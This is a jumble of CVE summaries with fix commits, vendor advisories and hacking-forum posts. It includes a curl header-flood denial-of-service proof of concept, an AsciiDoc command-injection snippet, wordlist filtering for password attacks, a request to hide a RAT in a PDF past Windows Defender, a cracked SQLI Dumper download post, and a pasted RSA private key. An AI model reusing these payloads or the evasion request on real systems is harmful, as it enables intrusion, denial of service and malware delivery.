i think you have to use python datetime module in server file, and in server file you have to check the client sent text if its "Time" then simply send datetime.now()


CVE: CVE-2021-25981

[{'lang': 'en', 'value': 'In Talkyard, regular versions v0.2021.20 through v0.2021.33 and dev versions v0.2021.20 through v0.2021.34, are vulnerable to Insufficient Session Expiration. This may allow an attacker to reuse the admin’s still-valid session token even when logged-out, to gain admin privileges, given the attacker is able to obtain that token (via other, hypothetical attacks)'}]

Fix commit: Use fancy sids, not silly sids, by default.


CVE: CVE-2021-40576

[{'lang': 'en', 'value': 'The binary MP4Box in Gpac 1.0.1 has a null pointer dereference vulnerability in the gf_isom_get_payt_count function in hint_track.c, which allows attackers to cause a denial of service.'}]

Fix commit: fixed #1904


Incorrect Privilege Assignment in RESTEasy

[Severity: HIGH]

RESTEasy 2.3.1 before 2.3.8.SP2 and 3.x before 3.0.9, as used in Red Hat JBoss Enterprise Application Platform (EAP) 6.3.0, does not disable external entities when the resteasy.document.expand.entity.references parameter is set to false, which allows remote attackers to read arbitrary files and have other unspecified impact via unspecified vectors, related to an XML External Entity (XXE) issue.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-0818.


OpenStack Compute (Nova) Resource limit circumvention in Nova private flavors

[Severity: LOW]

The "create an instance" API in OpenStack Compute (Nova) Folsom, Grizzly, and Havana does not properly enforce the os-flavor-access:is_public property, which allows remote authenticated users to boot arbitrary flavors by guessing the flavor id.  NOTE: this issue is due to an incomplete fix for CVE-2013-2256.


Hey if anyone is really stuck like me(for days), you should definatly short out your custom generated word list: ┌─[eu-academy-1]─[10.10.14.67]─[htb-ac84079@htb-4kknylthyj]─[~/username-anarchy] └──╼ [★]$ sed -ri '/^.{,7}$/d' harry.txt ┌─[eu-academy-1]─[10.10.14.67]─[htb-ac84079@htb-4kknylthyj]─[~/username-anarchy] └──╼ [★]$ sed -ri '/[!-/:-@\[-`\{-~]+/!d' harry.txt ┌─[eu-academy-1]─[10.10.14.67]─[htb-ac84079@htb-4kknylthyj]─[~/username-anarchy] └──╼ [★]$ sed -ri '/[0-9]+/!d' harry.txt ┌─[eu-academy-1]─[10.10.14.67]─[htb-ac84079@htb-4kknylthyj]─[~/username-anarchy] └──╼ [★]$ wc harry.txt 2245 2246 22629 harry.txt


Building the latest versions of GCC and CLang/LLVM for ParrotOS

I’m working on a cross-platform project that requires GCC v13 and CLang v16. I could use toolchains in CLion and cross-compile on Windows with MSYS2 and WSL, but I prefer to use Parrot as my primary OS since most of my development is geared toward IoT devices running either Linux or bare metal firmware. It’s just easier for me to configure these types of projects in a Linux environment than in Windows, especially when dealing with multiple toolchains and configurations for different devices. Anyway… I just need to know there is anything I need to be aware of before I attempt to build GCC 13.2.0 and CLang/LLVM 16 for ParrotOS (library considerations, compiler/linker switches, etc.) or will it be the same or similar to building for any other Debian based Linux installation?


I reisnatlled firefox but still same problem, even if I click on bookmarks nothing happen, it’s strange as I like most firefox and use now chromium from couple days, cannot figure out what happened. sudo apt purge firefox-esr sudo apt autoremove firefox-esr sudo apt purge firefox* sudo apt install firefox-esr


This topic was automatically closed 120 days after the last reply. New replies are no longer allowed.


omg now i am confused i want to do one thing at a time if u have to make a first step where would u start from? i am learning from ’ hack the box ’ and ’ try hack me ’ would u guys suggest me to go with something else?


CVE: CVE-2022-29210

[{'lang': 'en', 'value': 'TensorFlow is an open source platform for machine learning. In version 2.8.0, the `TensorKey` hash function used total estimated `AllocatedBytes()`, which (a) is an estimate per tensor, and (b) is a very poor hash function for constants (e.g. `int32_t`). It also tried to access individual tensor bytes through `tensor.data()` of size `AllocatedBytes()`. This led to ASAN failures because the `AllocatedBytes()` is an estimate of total bytes allocated by a tensor, including any pointed-to constructs (e.g. strings), and does not refer to contiguous bytes in the `.data()` buffer. The discoverers could not use this byte vector anyway because types such as `tstring` include pointers, whereas they needed to hash the string values themselves. This issue is patched in Tensorflow versions 2.9.0 and 2.8.1.'}]

Fix commit: Fix TensorKey hash function.

The original hash function only used total estimated `AllocatedBytes()`, which (a) is an estimate per tensor, and (b) is a very poor hash function for constants (e.g. `int32_t`).
It also tried to access individual tensor bytes through `tensor.data()` of size `AllocatedBytes()`.  This led to ASAN failures because the `AllocatedBytes()` is an estimate of total bytes allocated by a tensor, including any pointed-to constructs (e.g. strings), and does not refer to contiguous bytes in the `.data()` buffer.  We couldn't use this byte vector anyways, since types like `tstring` include pointers, whereas we need to hash the string values themselves.

Modified the hash function to more closely mirror the `==` operator.  This correctly handles `tstring` and any numeric types that do have contiguous storage.  Other types are currently left as unimplemented.

PiperOrigin-RevId: 446265413


nats-io/jwt not enforcing checking of Import token permissions

[Severity: CRITICAL]

(This advisory is canonically <https://advisories.nats.io/CVE/CVE-2021-3127.txt>)

## Problem Description

The NATS server provides for Subjects which are namespaced by Account; all Subjects are supposed to be private to an account, with an Export/Import system used to grant cross-account access to some Subjects.  Some Exports are public, such that anyone can import the
relevant subjects, and some Exports are private, such that the Import requires a token JWT to prove permission.

The JWT library's validation of the bindings in the Import Token incorrectly warned on mismatches, instead of outright rejecting the token.

As a result, any account can take an Import token used by any other account and re-use it for themselves because the binding to the
importing account is not rejected, and use it to import *any* Subject from the Exporting account, not just the Subject referenced in the Import Token.

The NATS account-server system treats account JWTs as semi-public information, such that an attacker can easily enumerate all account JWTs and retrieve all Import Tokens from those account JWTs.

The CVE identifier should cover the JWT library repair and the nats-server containing the fixed JWT library, and any other application depending upon the fixed JWT library.

## Affected versions

#### JWT library

 * all versions prior to 2.0.1
 * fixed after nats-io/jwt#149 landed (2021-03-14)

#### NATS Server

 * Version 2 prior to 2.2.0
   + 2.0.0 through and including 2.1.9 are vulnerable
 * fixed with nats-io/nats-server@423b79440c (2021-03-14)

## Impact

In deployments with untrusted accounts able to update the Account Server with imports, a malicious account can access any Subject from an account which provides Exported Subjects.

Abuse of this facility requires the malicious actor to upload their tampered Account JWT to the Account Server, providing the service operator with a data-store which can be scanned for signs of abuse.

## Workaround

Deny access to clients to update their account JWT in the account server.

## Solution

Upgrade the JWT dependency in any application using it.

Upgrade the NATS server if using NATS Accounts (with private Exports; Account owners can create those at any time though).

Audit all accounts JWTs to scan for exploit attempts; a Python script to audit the accounts can be found at <https://gist.github.com/philpennock/09d49524ad98043ff11d8a40c2bb0d5a>.


CVE: CVE-2022-33068

[{'lang': 'en', 'value': 'An integer overflow in the component hb-ot-shape-fallback.cc of Harfbuzz v4.3.0 allows attackers to cause a Denial of Service (DoS) via unspecified vectors.'}]

Fix commit: [sbix] Limit glyph extents

Fixes https://github.com/harfbuzz/harfbuzz/issues/3557


install http-server globally using npm then you’ll be able to use http-server command without ‘npm exec’


qatarairways: it now does not want to load websites now. Try sudo dnstool address 1.1.1.1 or 8.8.8.8 Or check the settings in your browser, mostly about proxy.


[Improper Input Validation] CVE-2023-28710 Apache Airflow Spark Provider Arbitrary File Read via JDBC

In all versions of Apache Airflow Spark Provider (the verification version is 4.0.0), because the parameters are not effectively filtered, the attacker can pass in malicious schema parameters (including malicious JDBC url) when establishing a connection with SparkJDBCHook, so that when establishing When connecting, a malicious mysql server can read any file on airflow.

this is screenshot of  email and ASF response email I submitted

████████████████

## Impact

When airflow does not enable authentication, the attacker can modify the existing connection configuration information, so that the DAG that uses SparkJDBCOperator in the system is running and connected to a malicious mysql server (or other types of servers), and is read by the attacker on the system , and more seriously, attackers can send malicious serialized data, which eventually leads to remote code execution.

This deserialization command was not successfully verified because the version of apache-common-collections-3.2.2 used by pyspark is too high, but when the jdk version used by the target system is 7u21 or there are other exploit chains, it can Causes the deserialization command to execute


Well, I revive this topic because even today I still had the same issue. I worked for hours to find why it doesn’t work on my VM, why it also doesn’t work on 2 others VMs of 2 differents computers or even on the pwnbox. Even on Discord, I searched for some help but nobody had the answer. Since 25 minutes, my issue disappeared. For those wondering wtf this issue is happening, the only hint I can give you is: Parrot. Now, I resolved it by using Kali. I don’t know how this magic works, but the " 3389 port used" error message from Responder didn’t show up, and the hash told me “Hi dude!” (you have to put your ear close of your screen for hear it). So if you really want to continue without “cheat” with the pdf, do a 2nd VM by using Kali (or use only kali… why not). To you who are reading this: you’re welcome, and have fun!


greetings, I am looking for a laptop that has a build in wifi that has the capability of monitor/injection . I purchased a ALFFA AWUs036ACS wifi adapter and for the love god i cannot figure why it is not working with Kali Linux. I have search online for solutions but none so far has helped. So i am so frustrated that i would rather buy a laptop that has Kali with a working wifi out of the box


How to embed an exe in a pdf file that can bypass windows defender?

I’m trying to be able to embed my RAT into a pdf file. I have tried many ways, to be able to bypass defender. Looking forward to finding someone who can help me


CVE: CVE-2022-0157

[{'lang': 'en', 'value': "phoronix-test-suite is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]

Fix commit: phodevi: Input sanitization updates for Phoromatic Server

Also other code formatting / cleanups while reviewing the code...


CVE: CVE-2022-24803

[{'lang': 'en', 'value': 'Asciidoctor-include-ext is Asciidoctor’s standard include processor reimplemented as an extension. Versions prior to 0.4.0, when used to render user-supplied input in AsciiDoc markup, may allow an attacker to execute arbitrary system commands on the host operating system. This attack is possible even when `allow-uri-read` is disabled! The problem has been patched in the referenced commits.'}]

Fix commit: Fix command injection vulnerability

Reported by Joern Schneeweisz from GitLab GmbH:

> During an internal assessment on some GitLab code I came across a way
> to execute arbitrary commands in your asciidoctor-include-ext Gem.
>
> The following adoc snippet demonstrates the issue:
>
> ```
> :app-name: |id # + \
> http://test.com
>
> include::{app-name}[]
> ```
>
> It uses a linebreak to bypass the `target_uri` check here
> https://github.com/jirutka/asciidoctor-include-ext/blob/master/lib/asciidoctor/include_ext/include_processor.rb#L97
> and feed a command with the `|` prefix to open/IO.foreach.
>
> You can verify this with the above snippet by rendering it like this
>
> ```
> asciidoctor -r asciidoctor-include-ext  -a allow-uri-read home.asciidoc
> ```

See-Also: https://sakurity.com/blog/2015/02/28/openuri.html


CVE: CVE-2022-1286

[{'lang': 'en', 'value': 'heap-buffer-overflow in mrb_vm_exec in mruby/mruby in GitHub repository mruby/mruby prior to 3.2. Possible arbitrary code execution if being exploited.'}]

Fix commit: class.c: clear method cache after `remove_method`.


$ netstat -ln4 | grep LISTEN | grep -v 127 | wc -l for other confused learners like me: netstat -ln4 - services that are listening, with numeric addresses, and using the ipv4 protocol as opposed to ipv6 or unspecified grep LISTEN - find results containing the word “LISTEN” grep -v 127 - exclude any results that contain the number “127” wc -l - count the number of lines


ChakraCore RCE Vulnerability

[Severity: HIGH]

A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka "Chakra Scripting Engine Memory Corruption Vulnerability." This affects Microsoft Edge, ChakraCore. This CVE ID is unique from CVE-2018-0979, CVE-2018-0980, CVE-2018-0990, CVE-2018-0994, CVE-2018-0995, CVE-2018-1019.


Hello there, Can you please give me a hint ? i tried: I am getting the message “Malicious request denied” but i cant find anywhere in the code the response for the “ls” or “whoami” command in order to continue further. Am i missing something ?


CVE: CVE-2022-23078

[{'lang': 'en', 'value': 'In habitica versions v4.119.0 through v4.232.2 are vulnerable to open redirect via the login page.'}]

Fix commit: fix(login): catch double-slash exploit


SQLI Dumper v.10.4 Full Clean + Video (All other sources are fake contains malware)

846×558 125 KB Video: Download: HACKING CRACKING SECURITY SEO MARKETING MMO SQLI Dumper v.10.4 Full Clean + Video (All other sources are fake contains... https://vimeo.com/746983244 Download Here VirusTotal Password Unrar is 1 VirusTotal: virustotal.com VirusTotal VirusTotal Password Unrar is 1


Arbitrary file overwrite in OpenStack Nova

[Severity: HIGH]

`virt/disk/api.py` in OpenStack Compute (Nova) 2012.1.x before 2012.1.2 and Folsom before Folsom-3 allows remote authenticated users to overwrite arbitrary files via a symlink attack on a file in an image that uses a symlink that is only readable by root.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2012-3361.


Thank you so much dude. I can’t believe this actually worked. You’re the best.


I am getting the error Error while moving: mv: and ‘t’ are the same file this is the unecoded version this is the whole thing where am I making a mistake


How to get root flag from (file.pem)

i joined a challenge and i got a zip file which i further cracked and got the private key now can someone please help me on how to get the root flag from the private key which is in .pem format . well this is the private key MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQClVgejYhZHHuLz TSOtYXHOi56zSocr9om854YDu/6qHBa4Nf8xFP6INNBNlYWvAxCvKM8aQsHpv3to pwpQ+YbRZDu1NxyhvfNNTRXjdFQV9nIiKkowOt6gG2F+9O5gVF4PAnHPm+YYPwsb oRkYV8QOpzIi6NMZgDCJrgISWZmUHqThybFW/7POme1gs6tiN1XFoPu1zNOYaIL3 dtZaazXcLw6IpTJRPJAWGttqyFommYrJqCzCSaWu9jG0p1hKK7mk6wvBSR8QfHW2 qX9+NbLKegCt+/jAa6u2V9lu+K3MC2NaSzOoIi5HLMjnrujRoCx3v6ZXL0KPCFzD MEqLFJHxAgMBAAECggEAc1JeYYe5IkJY6nuTtwuQ5hBc0ZHaVr/PswOKZnBqYRzW fAatyP5ry3WLFZKFfF0W9hXw3tBRkUkOOyDIAVMKxmKzguK+BdMIMZLjAZPSUr9j PJFizeFCB0sR5gvReT9fm/iIidaj16WhidQEPQZ6qf3U6qSbGd5f/KhyqXn1tWnL GNdwA0ZBYBRaURBOqEIFmpHbuWZCdis20CvzsLB+Q8LClVz4UkmPX1RTFnHTxJW0 Aos+JHMBRuLw57878BCdjL6DYYhdR4kiLlxLVbyXrP+4w8dOurRgxdYQ6iyL4UmU Ifvrqu8aUdTykJOVv6wWaw5xxH8A31nl/hWt50vEQQKBgQDYcwQvXaezwxnzu+zJ 7BtdnN6DJVthEQ+9jquVUbZWlAI/g2MKtkKkkD9rWZAK6u3LwGmDDCUrcHQBD0h7 tykwN9JTJhuXkkiS1eS3BiAumMrnKFM+wPodXi1+4wJk3YTWKPKLXo71KbLo+5NJ 2LUmvvPDyITQjsoZoGxLDZvLFwKBgQDDjA7YHQ+S3wYk+11q9M5iRR9bBXSbUZja 8LVecW5FDH4iTqWg7xq0uYnLZ01mIswiil53+5Rch5opDzFSaHeS2XNPf/Y//TnV 1+gIb3AICcTAb4bAngau5zm6VSNpYXUjThvrLv3poXezFtCWLEBKrWOxWRP4JegI ZnD1BfmQNwKBgEJYPtgl5Nl829+Roqrh7CFti+a29KN0D1cS/BTwzusKwwWkyB7o btTyQf4tnbE7AViKycyZVGtUNLp+bME/Cyj0c0t5SsvS0tvvJAPVpNejjc381kdN 71xBGcDi5ED2hVj/hBikCz2qYmR3eFYSTrRpo15HgC5NFjV0rrzyluZRAoGAL7s3 QF9Plt0jhdFpixr4aZpPvgsF3Ie9VOveiZAMh4Q2Ia+q1C6pCSYk0WaEyQKDa4b0 6jqZi0B6S71un5vqXAkCEYy9kf8AqAcMl0qEQSIJSaOvc8LfBMBiIe54N1fXnOeK /ww4ZFfKfQd7oLxqcRADvp1st2yhR7OhrN1pfl8CgYEAsJNjb8LdoSZKJZc0/F/r c2gFFK+MMnFncM752xpEtbUrtEULAKkhVMh6mAywIUWaYvpmbHDMPDIGqV7at2+X TTu+fiiJkAr+eTa/Sg3qLEOYgU0cSgWuZI0im3abbDtGlRt2Wga0/Igw9Ewzupc8 A5ZZvI+GsHhm0Oab7PEWlRY=


Mezzanine Cross Site Scripting (XSS) vulnerability

[Severity: MEDIUM]

Cross Site Scripting (XSS) in Mezzanine v4.3.1 allows remote attackers to execute arbitrary code via the `Description` field of the component `admin/blog/blogpost/add/`. This issue is different than CVE-2018-16632.


Introduction to C# - HTB Academy - Skills Assessment - Simple tips

Your task is to create a C# application that will iterate through the wordlist, using each word as a potential path on the target host. You will make HTTP requests to these paths and check for the existence of flag.txt. The program will output the paths where the flag.txt file exists. Since I have not found any post about this in the forum I will give a few tips to whoever might try the module and have problems.The skill assessment is quite simple. If you try to overcomplicate it you will just have more trouble finding what you want, which is the path to the file. Keeping it as simple as possible, try to replicate what you learned about Async and also a way to iterate through the wordlist, a good idea is to have the request response being printed so you’ll have fun watching the code iterating through everything (or not). No need to use StreamReader either, it would make you work a little bit more to obtain the same result but I guess its still an option if you want an all-in-one solution


Unsafe fall-through in getWhereConditions

[Severity: CRITICAL]

### Impact

Providing an invalid value to the `where` option of a query caused Sequelize to ignore that option instead of throwing an error.

A finder call like the following did not throw an error:

```ts
User.findAll({
  where: new Date(),
});
```

As this option is typically used with plain javascript objects, be aware that this only happens at the top level of this option.

### Patches

This issue has been patched in [`sequelize@6.28.1`](https://github.com/sequelize/sequelize/pull/15699) & [`@sequelize/core@7.0.0.alpha-20`](https://github.com/sequelize/sequelize/pull/15375)

### References

A discussion thread about this issue is open at https://github.com/sequelize/sequelize/discussions/15698

CVE:  CVE-2023-22579
Snyk: https://security.snyk.io/vuln/SNYK-JS-SEQUELIZE-3324090


hey darkon, sorry for the late reply. If you are still interested Ill send you an invite to the CTF team. Its hit or miss with members being active together but there is a good core of us that have been working together to tackle projects, do ctf’s together and in general help each other learn. Only requirement is a hunger for that knowledge and an open mind. Personally I consider myself gray hat but I dont judge anyone for their color hat… the world has never been as simple as black and white. I do however prefer to interact with people that have solid morals and whom use their skills for the right reasons. Hope to hear from you and I hope your journey is going well. -4p0lly0n


Hello, @shabbir thanks a lot for this. It is really helpful for me. Thanks


Consul JWT Auth in L7 Intentions Allow for Mismatched Service Identity and JWT Providers

[Severity: HIGH]

A vulnerability was identified in Consul such that using JWT authentication for service mesh incorrectly allows/denies access regardless of service identities. This vulnerability, CVE-2023-3518, affects Consul 1.16.0 and was fixed in 1.16.1.


CVE: CVE-2022-0868

[{'lang': 'en', 'value': 'Open Redirect in GitHub repository medialize/uri.js prior to 1.19.10.'}]

Fix commit: fix(parse): handle excessive colons in scheme delimiter

reported by @huydoppa via huntr.dev


CVE: CVE-2022-0755

[{'lang': 'en', 'value': 'Improper Access Control in GitHub repository salesagility/suitecrm prior to 7.12.5.'}]

Fix commit: SuiteCRM 7.12.5 Release


Maybe TimeVerter can help you: GitHub - D3vil0p3r/timeverter: Bruteforce time-based tokens and convert several time domains.


Accessing the device on the network

Hello, it’s been 1-2 months since I started working on cyber security. Can I access a device connected to the same network, For example, can I get your data like sms?


CVE: CVE-2022-0849

[{'lang': 'en', 'value': 'Use After Free in r_reg_get_name_idx in GitHub repository radareorg/radare2 prior to 5.6.6.'}]

Fix commit: aaef on arm/thumb switches causes uaf ##crash

* Reported by peacock-doris via huntr.dev
* Reproducer: poc_uaf_r_reg_get


[Allocation of Resources Without Limits or Throttling] CVE-2023-38039: HTTP header allocation DOS

It was found that curl does not currently limit the amount of HTTP headers to be received leading to a potential DOS for the users.
If an attacker sets up a malicious HTTP server that continuously sends new headers and keeps the socket open, curl will continuously listen on the socket and parse new received headers. This leads to the user's machine allocating more and more resources until the system is eventually exhausted.
From research the vulnerable function seems to be located at https://github.com/curl/curl/blob/master/lib/transfer.c#L420.
For comparison, modern browsers abort the connection once they reach a threshold.
One potential fix to not affect functionality too much would be to set an arbitrary limit to the amount of headers to receive, which I believe is the solution adapted by most modern browsers to solve this issue.

## Screenshot
{F2513231}
My excuses for the French in screenshot (I'm sorting programs by RAM usage, and the top one is of course the windows terminal from which I executed curl). On there you can see my user terminal (windows) launching `curl 127.0.0.1:80` to the left, on the right we see the attacker's server (attaching full source code to this report). Throughout testing memory usage kept increasing alarmingly high.

## Malicious server code extract:
```
void send_payload(int fd)
{
	memset(speedup, 'a', sizeof(speedup));
	//first we send the start of a valid HTTP request with status line and a few headers
    send(fd, validreq, sizeof(validreq), MSG_MORE);
	while (1337)
	{
		//this is used to speed up the dos process sending extra bytes
		send(fd, speedup, sizeof(speedup), MSG_MORE );
		//now we're spamming the curl client with the header "a:b" then telling it there's more to come !
		send(fd, "a:b\x0d\x0a", 5, MSG_MORE );
	}
}
```

## Steps To Reproduce:
  1. Compile exploit.c and execute the server binary.
Note: depending on your system, feel free to play with the `ATTACK_SPEED` define of the code, to speed up testing.
  2. Open up another terminal and as the victim try `curl 127.0.0.1:80`
  3. Observe system metrics.

## Impact

DOS/overloading of user's system through malicious HTTP server interaction with curl's header parsing.


CVE: CVE-2022-0382

[{'lang': 'en', 'value': "An information leak flaw was found due to uninitialized memory in the Linux kernel's TIPC protocol subsystem, in the way a user sends a TIPC datagram to one or more destinations. This flaw allows a local user to read some kernel memory. This issue is limited to no more than 7 bytes, and the user cannot control what is read. This flaw affects the Linux kernel versions prior to 5.17-rc1."}]

Fix commit: net ticp:fix a kernel-infoleak in __tipc_sendmsg()

struct tipc_socket_addr.ref has a 4-byte hole,and __tipc_getname() currently
copying it to user space,causing kernel-infoleak.

BUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:121 [inline]
BUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:121 [inline] lib/usercopy.c:33
BUG: KMSAN: kernel-infoleak in _copy_to_user+0x1c9/0x270 lib/usercopy.c:33 lib/usercopy.c:33
 instrument_copy_to_user include/linux/instrumented.h:121 [inline]
 instrument_copy_to_user include/linux/instrumented.h:121 [inline] lib/usercopy.c:33
 _copy_to_user+0x1c9/0x270 lib/usercopy.c:33 lib/usercopy.c:33
 copy_to_user include/linux/uaccess.h:209 [inline]
 copy_to_user include/linux/uaccess.h:209 [inline] net/socket.c:287
 move_addr_to_user+0x3f6/0x600 net/socket.c:287 net/socket.c:287
 __sys_getpeername+0x470/0x6b0 net/socket.c:1987 net/socket.c:1987
 __do_sys_getpeername net/socket.c:1997 [inline]
 __se_sys_getpeername net/socket.c:1994 [inline]
 __do_sys_getpeername net/socket.c:1997 [inline] net/socket.c:1994
 __se_sys_getpeername net/socket.c:1994 [inline] net/socket.c:1994
 __x64_sys_getpeername+0xda/0x120 net/socket.c:1994 net/socket.c:1994
 do_syscall_x64 arch/x86/entry/common.c:51 [inline]
 do_syscall_x64 arch/x86/entry/common.c:51 [inline] arch/x86/entry/common.c:82
 do_syscall_64+0x54/0xd0 arch/x86/entry/common.c:82 arch/x86/entry/common.c:82
 entry_SYSCALL_64_after_hwframe+0x44/0xae

Uninit was stored to memory at:
 tipc_getname+0x575/0x5e0 net/tipc/socket.c:757 net/tipc/socket.c:757
 __sys_getpeername+0x3b3/0x6b0 net/socket.c:1984 net/socket.c:1984
 __do_sys_getpeername net/socket.c:1997 [inline]
 __se_sys_getpeername net/socket.c:1994 [inline]
 __do_sys_getpeername net/socket.c:1997 [inline] net/socket.c:1994
 __se_sys_getpeername net/socket.c:1994 [inline] net/socket.c:1994
 __x64_sys_getpeername+0xda/0x120 net/socket.c:1994 net/socket.c:1994
 do_syscall_x64 arch/x86/entry/common.c:51 [inline]
 do_syscall_x64 arch/x86/entry/common.c:51 [inline] arch/x86/entry/common.c:82
 do_syscall_64+0x54/0xd0 arch/x86/entry/common.c:82 arch/x86/entry/common.c:82
 entry_SYSCALL_64_after_hwframe+0x44/0xae

Uninit was stored to memory at:
 msg_set_word net/tipc/msg.h:212 [inline]
 msg_set_destport net/tipc/msg.h:619 [inline]
 msg_set_word net/tipc/msg.h:212 [inline] net/tipc/socket.c:1486
 msg_set_destport net/tipc/msg.h:619 [inline] net/tipc/socket.c:1486
 __tipc_sendmsg+0x44fa/0x5890 net/tipc/socket.c:1486 net/tipc/socket.c:1486
 tipc_sendmsg+0xeb/0x140 net/tipc/socket.c:1402 net/tipc/socket.c:1402
 sock_sendmsg_nosec net/socket.c:704 [inline]
 sock_sendmsg net/socket.c:724 [inline]
 sock_sendmsg_nosec net/socket.c:704 [inline] net/socket.c:2409
 sock_sendmsg net/socket.c:724 [inline] net/socket.c:2409
 ____sys_sendmsg+0xe11/0x12c0 net/socket.c:2409 net/socket.c:2409
 ___sys_sendmsg net/socket.c:2463 [inline]
 ___sys_sendmsg net/socket.c:2463 [inline] net/socket.c:2492
 __sys_sendmsg+0x704/0x840 net/socket.c:2492 net/socket.c:2492
 __do_sys_sendmsg net/socket.c:2501 [inline]
 __se_sys_sendmsg net/socket.c:2499 [inline]
 __do_sys_sendmsg net/socket.c:2501 [inline] net/socket.c:2499
 __se_sys_sendmsg net/socket.c:2499 [inline] net/socket.c:2499
 __x64_sys_sendmsg+0xe2/0x120 net/socket.c:2499 net/socket.c:2499
 do_syscall_x64 arch/x86/entry/common.c:51 [inline]
 do_syscall_x64 arch/x86/entry/common.c:51 [inline] arch/x86/entry/common.c:82
 do_syscall_64+0x54/0xd0 arch/x86/entry/common.c:82 arch/x86/entry/common.c:82
 entry_SYSCALL_64_after_hwframe+0x44/0xae

Local variable skaddr created at:
 __t


##__SCREENSHOOTING__

please what is the solution concerning this error , but i actually run sudo apt full-upgrade --fix-mixing and then it upgrade smoothly without encountering any more error ,so why asking this? im too concern about the " image 946×289 100 KB please i am trying to set up the flameshot so i can able to start highlighting any of my screenshot ,of course i need it !! please any help


This topic was automatically closed 120 days after the last reply. New replies are no longer allowed.


CVE: CVE-2022-23559

[{'lang': 'en', 'value': 'Tensorflow is an Open Source Machine Learning Framework. An attacker can craft a TFLite model that would cause an integer overflow in embedding lookup operations. Both `embedding_size` and `lookup_size` are products of values provided by the user. Hence, a malicious user could trigger overflows in the multiplication. In certain scenarios, this can then result in heap OOB read/write. Users are advised to upgrade to a patched version.'}]

Fix commit: [lite] Move MultiplyAndCheckOverflow to util to be able to share it.

PiperOrigin-RevId: 416897229
Change-Id: I5feb44881bdcbb6ed911da4f17c55bb978754059


Theres plenty of sources. Try doing something consenual. Attack your phone. Try and see if you can break into its Bluetooth, try to gain root access, and so forth. Metasploit is an interesting tool, so try looking for Metasploit pdf. Pick a program in parrotsec and type pdf after it. Id reccomend understand the pc. Try looking into Wireshark and understanding what your network connections actually doing.


CVE: CVE-2022-2065

[{'lang': 'en', 'value': 'Cross-site Scripting (XSS) - Stored in GitHub repository neorazorx/facturascripts prior to 2022.06.'}]

Fix commit: Force to download SVG files to prevent security problems.
------
Forzamos a descargar los archivos SVG para evitar problemas de seguridad.


I realise this is quite an old post, however, just a list of some helpful resources to get started in hacking or pen testing. Some of the tutorials may mention Kali linux, but 99% of the same tools are on Parrot, and the use of them is the same. (I posted this list on the Kali forums around 4 months ago, and so far its gotten over 5,000 views, so it can’t be bad) The following list is by no means exhaustive, but is a good place to start your hacking journey. The best way to get started is to create several virtual machines on your own system, with several operating systems on there, and then you can install deliberatly vulnerable web apps and services on them, and hack them with your tools and learn how it all works. Remember, an Ethical hacker is someone who helps secure the web from malicious activity, not someone who exploits it. Not to mention that if you start hacking on web servers and networks without permission, in most countries this can land you in lots of trouble and long jail terms! Learn your way around Unix based systems, and that includes BSD, Linux and Mac OSX they all share a lot underneath; https://www.cyberciti.biz/ Learning Perl regular expressions will help you in your hacking journey; regex101 regex101: build, test, and debug regex Regular expression tester with syntax highlighting, explanation, cheat sheet for PHP/PCRE, Python, GO, JavaScript, Java, C#/.NET. Get to know the MITRE framework and how vulnerabilities are being exploited; https://attack.mitre.org/ Some of this site can be a couple of years old, but in general, the way of doing things hasn’t really changed, so it’s a good beginner starting point to get to know some tools; WonderHowTo Null Byte — The aspiring white-hat hacker/security awareness playground «... Null Byte is a white hat hacker world for anyone interested in hacking, science, networking, social engineering, security, pen-testing, getting root, zero days, etc. OSCP also have a great metsploit resource; https://www.offensive-security.com/m…oit-unleashed/ We have Portswigger who gave us the excellant Burpsuite tool; portswigger.net Web Security Academy: Free Online Training from PortSwigger The Web Security Academy is a free online training center for web application security, brought to you by PortSwigger. Create an account to get started. Don’t forget that hacking is about more than just computers; Shodan Shodan Search engine of Internet-connected devices. Create a free account to get started. If you want to learn programming, or scripting, or even get some free cyber security lessons, check out free code camp; freeCodeCamp.org Cybersecurity - freeCodeCamp.org Browse thousands of programming tutorials written by experts. Learn Web Development, Data Science, DevOps, Security, and get developer career advice. Perhaps you like to study malware, and want to get into reverse engineering; https://www.hackers-arise.com/post/r…h-ghidra-part1 For practicing what we have learned we have great sites like… Hack The Box; https://app.hackthebox.com and Try Hack Me; TryHackMe TryHackMe | Cyber Security Training TryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser! A few years old now, this tutorial series from Packt publishing does focus on kali, but most of the same tools are in Parrot and its based on Debian the same, and the set up of virtual machines and everything else is the same 99% of the time. It is also a good way to get an idea of the steps you would take, and in what order, and it goes over some of the main tools; More good sites with helpful content I’ve come across recently; https://fuzzysecurity.com/tutorials.html Invicti – 3 Oct 22 Welcome to Invicti Learn | Invicti Welcome to Invicti Learn, your one-stop-shop for all information on web application security. We want to help you understand the nature of web vulnerabilities, as well as teach you to detect, avoid, and mitigate them. Est. reading time: 1 minute https://securitytrails.com/blog/vulnerable-websites-for-penetration-testing Andrea Fortuna – 22 Ju


CVE: CVE-2022-31110

[{'lang': 'en', 'value': 'RSSHub is an open source, extensible RSS feed generator. In commits prior to 5c4177441417 passing some special values to the `filter` and `filterout` parameters can cause an abnormally high CPU. This results in an impact on the performance of the servers and RSSHub services which may lead to a denial of service. This issue has been fixed in commit 5c4177441417 and all users are advised to upgrade. There are no known workarounds for this issue.'}]

Fix commit: fix: use re2, thank @Rongronggg9


CVE: CVE-2022-31090

